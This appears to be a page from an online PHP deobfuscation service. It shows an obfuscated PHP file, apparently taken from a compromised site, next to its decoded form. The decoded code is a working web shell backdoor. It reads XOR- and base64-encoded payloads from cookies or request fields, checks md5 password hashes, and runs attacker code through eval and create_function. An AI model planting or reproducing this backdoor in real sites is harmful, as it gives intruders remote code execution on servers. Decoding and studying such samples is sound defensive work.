Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php /*5b8e906c1c24e*/ ?><?php $xDCrxMzFH='U;6SZ1,-O7;IZ=U'^'6IS2.TsK:YX=3R;'; $ugbpqO = ..

Decoded Output download

if(!function_exists('xor_data__mut')) {
	function xor_data__mut($data, $key)     {
		$out = '';
		for($i = 0; $i<strlen($data); $i++)
		$out .= ($data[$i] ^ $key[$i % strlen($key)]);
		return($out);
	}
}

$data = false;
$data_key = false;

foreach ($_COOKIE as $key => $value) {
	$data_key = $key;
	$data = $value;
}

if (!$data) {
	foreach ($_REQUEST as $key => $value) {
		$data_key = $key;
		$data = $value;
	}
}

$data = @unserialize(xor_data__mut(base64_decode($data), $data_key));
if($data && array_key_exists('key', $data) && (md5($data['key']) == 'cf94416b34fb053a2b893477766f739a') && array_key_exists('payload', $data))      {
	eval($data['payload']);
	exit(0);
}

if(array_key_exists('p1', $_REQUEST) && array_key_exists('pass', $_REQUEST) && (md5($_REQUEST['pass']) == 'ff6cb56b876eedf90b5bca2c0a210f91')) { call_user_func(create_function('', $_REQUEST['p1'])); exit(0); }

echo(md5(md5($_SERVER["HTTP_HOST"])));

Did this file decode correctly?

Original Code

<?php /*5b8e906c1c24e*/ ?><?php $xDCrxMzFH='U;6SZ1,-O7;IZ=U'^'6IS2.TsK:YX=3R;'; $ugbpqO = $xDCrxMzFH('', '1VDY<3S1 W8B:3<0<3=Na;B657TEU775GTRSbk2Cd,763MT:Zv.Q<.V.LP83+G-RQ+YXOeoCFH:AHTlNB1zBORC<TdZYJCKgE43;1oj-smmtNjbIXO7>=49jIDOD-HYBM;cJh;dkf,YYHmTjXSJ70XlB+0RfWHVR3-A<nKi9NRAYBlJ8 <C5SRRGZGR5I:=lUQF6YJxyKkP79P59MPJmVT4Z97RhL0SNZ=KS,DJIFVLBUTo8FO:ET6HpKvk+xa9<hHY6BiWEYTPVPE21LOTNfC8sI-UFAg;7-LWBIR,UJg>H-9NMDscTHJ-;ExcOfrT TlrT=,M PWIrKM7;--UXoNJ64ig1+a6v <ka:XOlOlUPLW>IEzrBDlKM2AAP<KW4MHiuU.Yb2nDV=805EOSBG7R;EM2E>I7lFG61EWGpE7F90YR<ALTTHgJVI;Y1-0k3Q .OZ2 3Sc<USOZ>6PwV1D7yOQRDLZ+kKNDPJsnI2Rs3A30QOCYA:+5-jKWM9-OTST7pqZ4-CZGE2Q9RnKgdYmQTZYU 1AS2JWYDI8KMWsRS57zYgSN.EE6RXFQWP7MzCCXQzfF-ZvAUHDbEKdUG4M61KE><0UWI1HeV8;C4OSIWGUJ528.YcdfyLNKBH0E,A:YI2AOA3WAQGXB7UC:Pwkn248CMRQlp92FUPO6F3O=03Y+2E4 +TXjPLXLMJObl0o<y7>FUUDQ.37,7,VI7, LI9<;BUP FIQHwHm3ho65= JCpMKQPQayR0=-:: 7c<ENMBIMfMXjYpj27wS2tS5LxnEVUMJu,A4-5z+U8TVf mYCyCB3R78A>f;7+AbF:N0CXR.77<6,X<;MU>PFIMyRG0=xb-10<aDEUP-bxUD<FP>KZDtF5kiY7+.zMIfqQYBFno>.8<0<8Vh.=f0zv>-e,spJYs'^'X0lxZF=RT>W,eVDYOGNfFC-DjS514hhX2 uzKKIImJBXP9=U4VV>Nq2O81glF2YzuO8,.IOg--ChhtLnbJpKFv,I DgymdpmL=UTCGNDSPMDuJF d<CLQQWBm .0LabbiRHaA1mbBC,-hCiJpw.VD97fBmr8wl=7JveUNnIJ: -<,DnSEEjhziXNS57A<HSDq>3Bpqrp6a-=3tQX91jPv2U6JRibhT2:;b 6Udwi 7 10oe2  H 5U PcR4h7.ru-h8EbM<  tmhpaDP :1gF82zmI42 8PRTljbm9I,qm7lIX:,dNCp>+AN Ci2lx=FtDSpYM9Ayw2xB+XIHL60Ofnif,6dn2bVAOKEQ=6LrRut:6R< SR9NeBiV 51c 2MmuIQ>K Y8gMrYYDTersf1V>N v8LCCJfLcRP16gMew3WC< U  =.-O29;d=PYQ4l<UZg8SSVeWc16,5ZSxS2P0VPcqv -.J4 +=ycHd TzWW GQqiey HYTT5 24fH7=  DXV1QTdvgaV0M3GkAByE<0oqqDP52im<<=nebmjNrtVQCmSbxLvqP0hsb6bUuCpwofMPpKmEx4omBcmD45F,On  GcU->:E;MqHZ:X 2-pkunQSLOpJDFYlnk9B9 Z VqmV ; hp10>4-V1dgyLagWLQ7ebxWzD8L<6gW4A.DoX<Rm LIX +Bw<ikajk=>u>i<djousbqOAEMNs=,NsE4 JHHjr A5:vdWl2a->cpntccVkky=5TQvoohkoed7gb>,1:j;dxWdPMTQA0PAeWtOX 31+sENtVNTHHeYfgVFThdPjbHrTY-R9NDN3= O Sk; KVCYiJ-RX9<Q>nnjUrcoo=3xtch:c5dwpKQndY>9JcjmOfHac<TCAR -SY<=wnJ0mkjjunct zi6o29myGqZYcby'); $ugbpqO();

Function Calls

null 1
create_function 1

Variables

$ugbpqO None
$xDCrxMzFH create_function

Stats

MD5 c6bb54c65b2bfaac5071c5f9e35f1334
Eval Count 1
Decode Time 83 ms